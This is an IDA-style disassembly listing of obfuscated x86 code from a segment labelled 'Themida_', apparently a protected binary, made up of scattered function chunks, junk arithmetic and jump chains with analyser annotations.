loc_5A6CEF:				; CODE XREF: Themida_:005AC6ECj
		shl	ebx, 1
		add	ebx, 0C62AB617h
		and	esi, ebx
		pop	ebx
		or	esi, 55055CF4h
		sub	esi, 0F50B4Ch
		push	ebx
		push	ecx
		mov	ecx, 1B6F2529h
		mov	ebx, ecx
		pop	ecx
		add	edx, ebx
		pop	ebx
		add	edx, esi
		jmp	loc_59D8C6
; ---------------------------------------------------------------------------


loc_5A6D1A:				; CODE XREF: Themida_:loc_59EC57j
		xor	ebp, 47903B9Eh
		jmp	loc_59919B
; ---------------------------------------------------------------------------


loc_5A6D25:				; CODE XREF: Themida_:loc_5AA621j
		or	ebp, 455E493Dh
		neg	ebp
		jmp	loc_5A1D98
; ---------------------------------------------------------------------------


loc_5A6D32:				; CODE XREF: Themida_:005A60BFj
		jmp	loc_5AB117
; ---------------------------------------------------------------------------


loc_5A6D37:				; CODE XREF: Themida_:005A4C9Fj
		xor	[esp], eax
		jmp	loc_5A028A
; ---------------------------------------------------------------------------


loc_5A6D3F:				; CODE XREF: Themida_:005A815Cj
		sub	edx, 0ABD4AA64h
		sub	ebx, edx
		pop	edx
		sub	ebx, 0DAF50159h
		add	edx, ebx
		pop	ebx
		jmp	loc_5AB13A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA500


loc_5A6D56:				; CODE XREF: sub_5AA500+904j
		add	dh, 55h
		jnz	loc_5A0F39
		sub	dh, 20h
		mov	cl, dh
		pop	edx
		jmp	loc_5AA1B6
; END OF FUNCTION CHUNK	FOR sub_5AA500
; ---------------------------------------------------------------------------
		sub	esp, 4
; START	OF FUNCTION CHUNK FOR sub_5A72FB


loc_5A6D6D:				; CODE XREF: sub_5A72FB+3779j
		shl	eax, 5
		xor	eax, 8A82904h
		add	esi, 3D54718Bh
		add	esi, eax
		sub	esi, 3D54718Bh
		jmp	loc_59EE02
; END OF FUNCTION CHUNK	FOR sub_5A72FB
; ---------------------------------------------------------------------------


loc_5A6D88:				; CODE XREF: Themida_:005A9851j
		xor	dword ptr [esp], 6DD62D25h
		pop	ebx
		xor	ebx, 6DD62D25h
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_597B5F

; =============== S U B	R O U T	I N E =======================================



sub_5A6DA1	proc near		; CODE XREF: sub_5A8C33-9B70j
					; sub_5A600F-1088j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 005982A5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059953B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059B1EE SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059BE20 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059C0F8 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005A2CD9 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A4BBE SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A5172 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A5C9D SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A755F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A83EC SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ABA30 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005ABE82 SIZE 00000032 BYTES

		push	ebx
		mov	ebx, 57E856FBh
		jmp	loc_5A5C9D
sub_5A6DA1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6DAC:				; CODE XREF: sub_59D99C+5C66j
		jo	loc_5ACE89
		xor	dx, 0FD2h
		mov	bp, dx
		pop	edx
		add	ax, bp
		pop	bp
		sub	ax, dx
		push	37C4h
		mov	[esp-6+arg_0+2], ecx
		mov	cx, 43D2h
		push	small 5D17h
		jmp	loc_59CC34
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A6DD8:				; CODE XREF: sub_59DFDD+CE82j
		add	esi, eax
		pop	eax
		add	esi, edx
		push	edi
		jmp	loc_59EEF0
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A6DE3:				; CODE XREF: sub_5A8D43-5B79j
		sub	edx, 0E1496E00h
		add	ecx, edx
		pop	edx
		jmp	loc_5ADD96
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A6DF1:				; CODE XREF: Themida_:005AB35Cj
		mov	edi, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_59CB44
; ---------------------------------------------------------------------------


loc_5A6E05:				; CODE XREF: Themida_:0059B48Aj
		sub	ebp, esi
		jmp	loc_5AF043
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A6E0C:				; CODE XREF: sub_5A17D6+28AFj
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+10h+var_10]
		jmp	loc_5988DE
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A989A


loc_5A6E1F:				; CODE XREF: sub_5A989A-DCA7j
		push	edx
		jmp	loc_5A68AF
; END OF FUNCTION CHUNK	FOR sub_5A989A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE45C


loc_5A6E25:				; CODE XREF: sub_5AE45C-A6BAj
		add	edi, 2F33E8Ah
		pop	ebp
		xor	edi, [esp-8+arg_4]
		xor	[esp-8+arg_4], edi
		jmp	loc_5A4D7B
; END OF FUNCTION CHUNK	FOR sub_5AE45C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A6E37:				; CODE XREF: sub_59A932+100CFj
		mov	esp, [esp+10h+var_10]
		push	[esp+10h+var_10]
		mov	eax, [esp+14h+var_14]
		add	esp, 4
		push	102Dh
		mov	[esp+14h+var_14], edx
		sub	esp, 4
		push	esp
		pop	[esp+1Ch+var_1C]
		add	[esp+18h+var_18], 4
		push	[esp+18h+var_18]
		pop	edx
		push	ecx
		jmp	loc_59977E
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B1


loc_5A6E66:				; CODE XREF: sub_5AB1B1-11542j
					; sub_5AC95F-82CCj
		push	eax
		mov	eax, 771339FEh
		jmp	loc_5A9384
; END OF FUNCTION CHUNK	FOR sub_5AB1B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6E71:				; CODE XREF: Themida_:loc_5A1D98j
					; sub_59D99C+CC44j
		xchg	eax, [esp-4+arg_0]
		pop	esp
		push	ebp
		mov	ebp, 69AD5A80h
		jmp	loc_5AA345
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AA46D


loc_5A6E80:				; CODE XREF: sub_5AA46D-CDE1j
		push	esp
		pop	ebx
		push	edi
		push	edx
		jmp	loc_5A4332
; END OF FUNCTION CHUNK	FOR sub_5AA46D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ebx
		jmp	loc_5A1C9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A98EB


loc_5A6E93:				; CODE XREF: sub_5A98EB+10j
		push	esi
		push	edx
		mov	edx, 3867475Bh
		mov	esi, 3867475Fh
		sub	esi, edx
		pop	edx
		add	eax, esi
		pop	esi
		sub	eax, 4
		jmp	loc_59FAA6
; END OF FUNCTION CHUNK	FOR sub_5A98EB
; ---------------------------------------------------------------------------


loc_5A6EAD:				; CODE XREF: Themida_:005AAF31j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		add	eax, ebx
		pop	ebx
		jmp	loc_5AA086
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A6EC9:				; CODE XREF: sub_5AC95F-9825j
		jmp	loc_5A468B
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5A4540
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A6ED6:				; CODE XREF: sub_5AE6FD:loc_59B34Ej
		add	ecx, 0FFA52BE6h
		push	ecx
		sub	[esp-4+arg_0], 2A9D6D3Eh
		mov	edx, [esp-4+arg_0]
		jmp	loc_59944A
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------


loc_5A6EEC:				; CODE XREF: Themida_:005A5EF4j
		mov	ecx, 45E717A2h
		shr	ecx, 6
		shr	ecx, 4
		push	eax
		mov	eax, 570B392Bh
		add	eax, 0E45AF6A3h
		jmp	loc_59A82B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A6F07:				; CODE XREF: sub_5ACD64-2B2Bj
		add	esi, eax
		sub	esi, 235F1CB3h
		pop	eax
		push	ebx
		push	eax
		mov	eax, 7FDB3778h
		push	8024C88Ch
		jmp	loc_5A3E3C
; END OF FUNCTION CHUNK	FOR sub_5ACD64

; =============== S U B	R O U T	I N E =======================================



sub_5A6F21	proc near		; CODE XREF: Themida_:005A82D3j
					; sub_597F0C:loc_5A9D2Cj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0059D460 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059EB0E SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A2C53 SIZE 00000012 BYTES

		push	ebp
		mov	ebp, 0ED4AD2B5h
		jmp	loc_59D460
sub_5A6F21	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADB3A


loc_5A6F2C:				; CODE XREF: sub_5ADB3A-566Aj
		xor	edx, 1B2B1B55h
		jmp	loc_5AB6E7
; END OF FUNCTION CHUNK	FOR sub_5ADB3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A95E0


loc_5A6F37:				; CODE XREF: sub_5A95E0+5B7Ej
		add	esi, ecx
		jmp	loc_5ABF5C
; END OF FUNCTION CHUNK	FOR sub_5A95E0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C53B


loc_5A6F3E:				; CODE XREF: sub_59C53B+95E3j
		neg	ecx
		jmp	loc_59F5EC
; END OF FUNCTION CHUNK	FOR sub_59C53B
; ---------------------------------------------------------------------------


loc_5A6F45:				; CODE XREF: Themida_:005ACFF6j
		mov	esi, 0A98E5C61h
		add	ecx, esi
		pop	esi
		not	ecx
		add	ecx, 1F183A7Ch
		inc	ecx
		xor	ecx, 9A99C607h
		add	edi, ecx
		pop	ecx
		push	6F87h
		mov	[esp], eax
		mov	eax, 4CD97A1Dh
		sub	edi, eax
		pop	eax
		pop	eax
		push	2A65h
		mov	[esp], edx
		mov	edx, 4
		push	esi
		mov	esi, 56505AFEh
		add	edi, esi
		pop	esi
		add	edi, edx
		sub	edi, 56505AFEh
		jmp	loc_5A2853
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A6F93:				; CODE XREF: sub_59D99C-2CB5j
		pop	ecx
		add	di, ax
		pop	ax
		add	di, bp
		sub	di, 2E6Bh
		push	[esp+4+var_4]
		pop	ebp
		jmp	sub_5A141E
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB1B9


loc_5A6FAA:				; CODE XREF: sub_5AB1B9+DD2j
		add	esp, 4
		jmp	loc_5A5C07
; END OF FUNCTION CHUNK	FOR sub_5AB1B9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6FB5:				; CODE XREF: sub_59B707+12174j
		not	[esp+8+var_8]
		pop	edi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], edx
		push	esi
		jmp	loc_5A1E13
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------


loc_5A6FD5:				; CODE XREF: Themida_:0059A074j
		add	ebp, ecx
		jmp	loc_5A9DE4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A6FDC:				; CODE XREF: sub_59B707+89Bj
		neg	ch
		inc	ch
		push	eax
		mov	ah, 0BFh
		add	ah, 0E0h
		jmp	loc_5A3465
; END OF FUNCTION CHUNK	FOR sub_59B707
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A6FEB:				; CODE XREF: sub_5A8F00:loc_59F435j
					; sub_5986D6:loc_5A9A5Fj
		dec	ebx
		jp	loc_598009
		and	ebx, 64BD7242h
		sub	ebx, 5DC293CAh
		push	ebp
		jmp	loc_5AE57F
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------


loc_5A7004:				; CODE XREF: Themida_:005AA208j
		shr	eax, 2
		jmp	loc_5ABA83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ADDF8


loc_5A700C:				; CODE XREF: sub_5ADDF8-1DE2j
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		pop	esp
		mov	[esp+4+var_4], esp
		jmp	loc_59994A
; END OF FUNCTION CHUNK	FOR sub_5ADDF8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A701E:				; CODE XREF: sub_59EE40+75Fj
		push	dx
		dec	byte ptr [esp+6+var_8+3]
		pop	dx
		and	dh, 0C5h
		jmp	loc_599A09
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A702E:				; CODE XREF: sub_59DBFF+370Aj
		add	edi, 4
		jmp	loc_5A8A70
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A600F


loc_5A7036:				; CODE XREF: sub_5A600F-1CFBj
		push	eax
		push	4
		pop	eax
		add	edx, 2C4E6A89h
		jmp	loc_5ACCE7
; END OF FUNCTION CHUNK	FOR sub_5A600F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FFBE


loc_5A7048:				; CODE XREF: sub_59FFBE+4052j
		push	4594h
		mov	[esp-8+arg_4], ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		push	ebx
		mov	ebx, 4
		jmp	loc_59D029
; END OF FUNCTION CHUNK	FOR sub_59FFBE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A7066:				; CODE XREF: sub_5A4F3D+6973j
		jmp	loc_59F6E7
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5991B7


loc_5A706B:				; CODE XREF: sub_5991B7-5F0j
		mov	esi, [esp-4+arg_0]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_5AEF3A
; END OF FUNCTION CHUNK	FOR sub_5991B7
; ---------------------------------------------------------------------------


loc_5A7083:				; CODE XREF: Themida_:005A2F0Bj
		push	ecx
		mov	ecx, 4F6C6E21h
		sub	ebp, 9542F6Ah
		jmp	loc_5AE92E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A7094:				; CODE XREF: sub_59D99C+2299j
		push	ecx
		jmp	sub_59D24A
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59ACEC


loc_5A709A:				; CODE XREF: sub_59ACEC+9B09j
		jnp	loc_59A079
		not	ebx
		push	eax
		mov	eax, 57DAE982h
		sub	ebx, eax
		mov	ebx, esi
		sub	al, 7Ch
; END OF FUNCTION CHUNK	FOR sub_59ACEC
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A70AE:				; CODE XREF: sub_5AC95F-DCB2j
		pop	eax
		neg	ecx
		push	eax
		jmp	loc_5A613D
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A70B7:				; CODE XREF: sub_59B707+525j
		add	esp, 4
		jmp	loc_5A91A6
; END OF FUNCTION CHUNK	FOR sub_59B707

; =============== S U B	R O U T	I N E =======================================



sub_5A70C2	proc near		; CODE XREF: sub_5ADE64-DD4Ej

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00597ED8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0059DCE4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059E892 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A06AA SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A332B SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005A88F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A8CC8 SIZE 00000032 BYTES

		push	ebp
		mov	ebp, 70A53408h
		mov	eax, 728E362Eh
		xor	eax, ebp
		pop	ebp
		add	edi, eax
		mov	eax, [esp-8+arg_4]
		add	esp, 4
		jmp	loc_59E892
sub_5A70C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5A70E0:				; CODE XREF: sub_5987D8+4j
		add	esp, 4
		push	edx
		push	ecx
		mov	ecx, esp
		jmp	loc_5A952B
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------


loc_5A70EC:				; CODE XREF: Themida_:005A7DCBj
		mov	ecx, 7A630FD8h
		add	ecx, 0FBD23A44h
		add	esi, ecx
		pop	ecx
		sub	esi, 0F0C67B9h
		pop	ecx
		push	esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		jmp	loc_5A6C5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A710E:				; CODE XREF: sub_5A91EC-E6B8j
		mov	ebp, edi
		pop	edi
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp+0]
		pop	esp
		jmp	loc_59DCB1
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A711D:				; CODE XREF: sub_5AC95F-DE9Dj
		inc	ebx
		jg	loc_59E627
		dec	ebx
		jnp	loc_59B81A
		mov	edi, ebp
		mov	bl, ch
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A712F:				; CODE XREF: sub_5A1B2A-7D79j
					; sub_59FFBE+8439j
		mov	eax, 630C4631h
		jmp	loc_5A4C2F
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A7139:				; CODE XREF: sub_59EE40+8FADj
		xor	ch, 36h
		jmp	loc_59EE2A
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A7141:				; CODE XREF: sub_59A932+2676j
					; sub_5A2735+92F6j
		and	ebx, edx
		push	[esp+0Ch+var_C]
		pop	edx
		add	esp, 4
		sub	ebx, 9ABE960Bh
		xor	ebp, ebx
		pop	ebx
		dec	ebp
		jmp	loc_59D118
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A7159:				; CODE XREF: sub_5AC95F-11CD4j
		mov	esp, [esp+4+var_4]
		sub	esp, 4
		mov	[esp+8+var_8], ecx
		mov	ch, dl
		push	378h
		mov	[esp+0Ch+var_C], ebx
		push	edx
		jmp	loc_5AED7C
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EE40


loc_5A7175:				; CODE XREF: sub_59EE40+4D9Aj
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		push	eax
		jmp	loc_59F7CA
; END OF FUNCTION CHUNK	FOR sub_59EE40
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8D43


loc_5A7184:				; CODE XREF: sub_5A8D43-9729j
		mov	eax, [esp+0]
		jmp	loc_5A3348
; END OF FUNCTION CHUNK	FOR sub_5A8D43
; ---------------------------------------------------------------------------


loc_5A718C:				; CODE XREF: Themida_:005AF0EEj
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5A3145
; ---------------------------------------------------------------------------


loc_5A7199:				; CODE XREF: Themida_:005AD3EAj
		push	edi
		push	esp
		jmp	loc_5AB2DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A71A0:				; CODE XREF: sub_5A8C33-34AAj
		sub	ecx, 4
		jmp	loc_5AB5C9
; END OF FUNCTION CHUNK	FOR sub_5A8C33

; =============== S U B	R O U T	I N E =======================================



sub_5A71A8	proc near		; CODE XREF: sub_59D7E7+4B5Fj

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005984D2 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0059AF6D SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005A16A5 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A4297 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A475C SIZE 00000030 BYTES
; FUNCTION CHUNK AT 005A7A28 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 005AA13E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005AA52D SIZE 0000000E BYTES
; FUNCTION CHUNK AT 005AD329 SIZE 00000044 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		jmp	loc_5AA52D
sub_5A71A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A71BB:				; CODE XREF: sub_5AC402-24FDj
		push	6974h
		mov	[esp-6+arg_0+2], eax
		jmp	loc_59FC43
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_597B5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8C33


loc_5A71D8:				; CODE XREF: sub_5A8C33-A789j
		push	ecx
		mov	ecx, 0E6C6165h
		mov	esi, ecx
		pop	ecx
		push	ebx
		push	70CBh
		mov	[esp+4+var_4], eax
		jmp	loc_5991DD
; END OF FUNCTION CHUNK	FOR sub_5A8C33
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597C68


loc_5A71EF:				; CODE XREF: sub_597C68+D841j
		mov	ebx, edi
		jmp	loc_5982C4
; END OF FUNCTION CHUNK	FOR sub_597C68
; ---------------------------------------------------------------------------


loc_5A71F6:				; CODE XREF: Themida_:005A1D63j
		xor	edi, 91B4E475h
		add	ebp, edi
		pop	edi
		jmp	loc_5A2B70
; ---------------------------------------------------------------------------


loc_5A7204:				; CODE XREF: Themida_:0059954Bj
		jp	loc_5AC0E4
		jmp	loc_59EC45
; ---------------------------------------------------------------------------
		pop	ebp
		shr	ebp, 3
		mov	dh, 0FAh
		pop	ecx
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A7216:				; CODE XREF: Themida_:00597E94j
					; sub_599059+AE16j
		mov	[esp+0], ebx
		jmp	loc_5A9F2D
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DFDD


loc_5A721E:				; CODE XREF: Themida_:0059D79Ej
					; sub_59DFDD+839Ej
		jmp	loc_5A3102
; END OF FUNCTION CHUNK	FOR sub_59DFDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A58AC


loc_5A7223:				; CODE XREF: sub_5A58AC-43A8j
		mov	[esp+0Ch+var_C], edx
		jmp	loc_5AA06D
; END OF FUNCTION CHUNK	FOR sub_5A58AC
; ---------------------------------------------------------------------------


loc_5A722B:				; CODE XREF: Themida_:005AB239j
		pop	ebp
		push	ecx
		jmp	loc_5A3DE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A7232:				; CODE XREF: sub_5ACD64-11B4Ej
		push	edx
		jmp	loc_5ACE68
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------


loc_5A7238:				; CODE XREF: Themida_:005ACA49j
		mov	ebx, 2A7B0946h
		jmp	loc_5A42DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A7242:				; CODE XREF: sub_5AEE2E-D48j
		mov	esp, [esp+0]
		sub	esp, 4
		jmp	loc_5A1EDB
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ACD64


loc_5A7250:				; CODE XREF: sub_5ACD64-11B7Bj
		add	esp, 4
		jmp	loc_5A7814
; END OF FUNCTION CHUNK	FOR sub_5ACD64
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A725B:				; CODE XREF: sub_5AC95F+63Aj
		mov	esi, 1C937311h
		sub	[esp+0Ch+var_8], esi
		pop	esi
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		push	edx
		jmp	loc_5A0775
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5998AB


loc_5A7271:				; CODE XREF: sub_5998AB+Cj
		mov	ebx, [esp+4+var_4]
		jmp	loc_5A65A0
; END OF FUNCTION CHUNK	FOR sub_5998AB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A7279:				; CODE XREF: sub_59D99C+746Ej
		mov	ebx, 553204A2h
		sub	ebx, 343A2938h
		jmp	loc_5A8FEB
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F56


loc_5A7289:				; CODE XREF: sub_5A8F56+3Fj
		push	eax
		jmp	loc_5A9D83
; END OF FUNCTION CHUNK	FOR sub_5A8F56

; =============== S U B	R O U T	I N E =======================================



sub_5A728F	proc near		; CODE XREF: sub_59F20F+4A65j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059A45A SIZE 00000039 BYTES
; FUNCTION CHUNK AT 0059B56C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C33A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059C5FA SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0059D0AC SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0059D729 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0059EC5C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059F3AA SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A2D73 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A30C3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A3D2D SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A43F6 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005A6240 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A634A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 005A7520 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A7C8E SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8161 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005A8695 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 005A894D SIZE 0000002A BYTES
; FUNCTION CHUNK AT 005A90D3 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 005A92A7 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 005AA834 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AC0CD SIZE 0000000A BYTES
; FUNCTION CHUNK AT 005ACC3F SIZE 00000026 BYTES
; FUNCTION CHUNK AT 005ACD4C SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005ACFE4 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005AD09B SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AED2D SIZE 00000008 BYTES

		push	ebx
		jmp	loc_5AC0CD
sub_5A728F	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A7295:				; CODE XREF: Themida_:005ABBA7j
		push	70Fh
		mov	[esp], ecx
		mov	ch, bh
		mov	dl, ch
		pop	ecx
		push	dword ptr [esp]
		mov	ebx, [esp]
		add	esp, 4
